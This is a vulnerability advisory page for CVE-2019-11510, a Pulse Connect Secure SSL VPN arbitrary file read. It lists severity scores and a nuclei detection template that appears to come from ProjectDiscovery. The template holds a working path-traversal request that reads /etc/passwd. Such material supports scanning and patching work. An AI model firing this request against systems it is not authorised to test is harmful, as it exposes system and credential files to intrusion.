Pulse Connect Secure SSL VPN Arbitrary File Read

2020-04-2206:42:01

ProjectDiscovery

github.com

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.973 High

EPSS

Percentile

99.9%

JSON

Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.

id: CVE-2019-11510

info:
  name: Pulse Connect Secure SSL VPN Arbitrary File Read
  author: organiccrap
  severity: critical
  description: Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4 all contain an arbitrary file reading vulnerability that could allow unauthenticated remote attackers to send a specially crafted URI to gain improper access.
  impact: |
    An attacker can access sensitive information stored on the system, potentially leading to further compromise.
  remediation: |
    Apply the latest security patches and updates provided by Pulse Secure.
  reference:
    - https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html
    - https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-11510
    - http://packetstormsecurity.com/files/154176/Pulse-Secure-SSL-VPN-8.1R15.1-8.2-8.3-9.0-Arbitrary-File-Disclosure.html
    - http://packetstormsecurity.com/files/154231/Pulse-Secure-SSL-VPN-File-Disclosure-NSE.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2019-11510
    cwe-id: CWE-22
    epss-score: 0.97267
    epss-percentile: 0.99828
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ivanti
    product: connect_secure
  tags: packetstorm,cve,cve2019,pulsesecure,lfi,kev

http:
  - method: GET
    path:
      - "{{BaseURL}}/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202dcf9c8572b6ee91dac5f3ab4c1748f9ba06112c38e8ba379b6e68e8eea105f3022100cd34629941d13b282b1e311019a5e8172e4f0a261d94843a22b27fb7a8826159:922c64590222798bb761d5b6d8e72950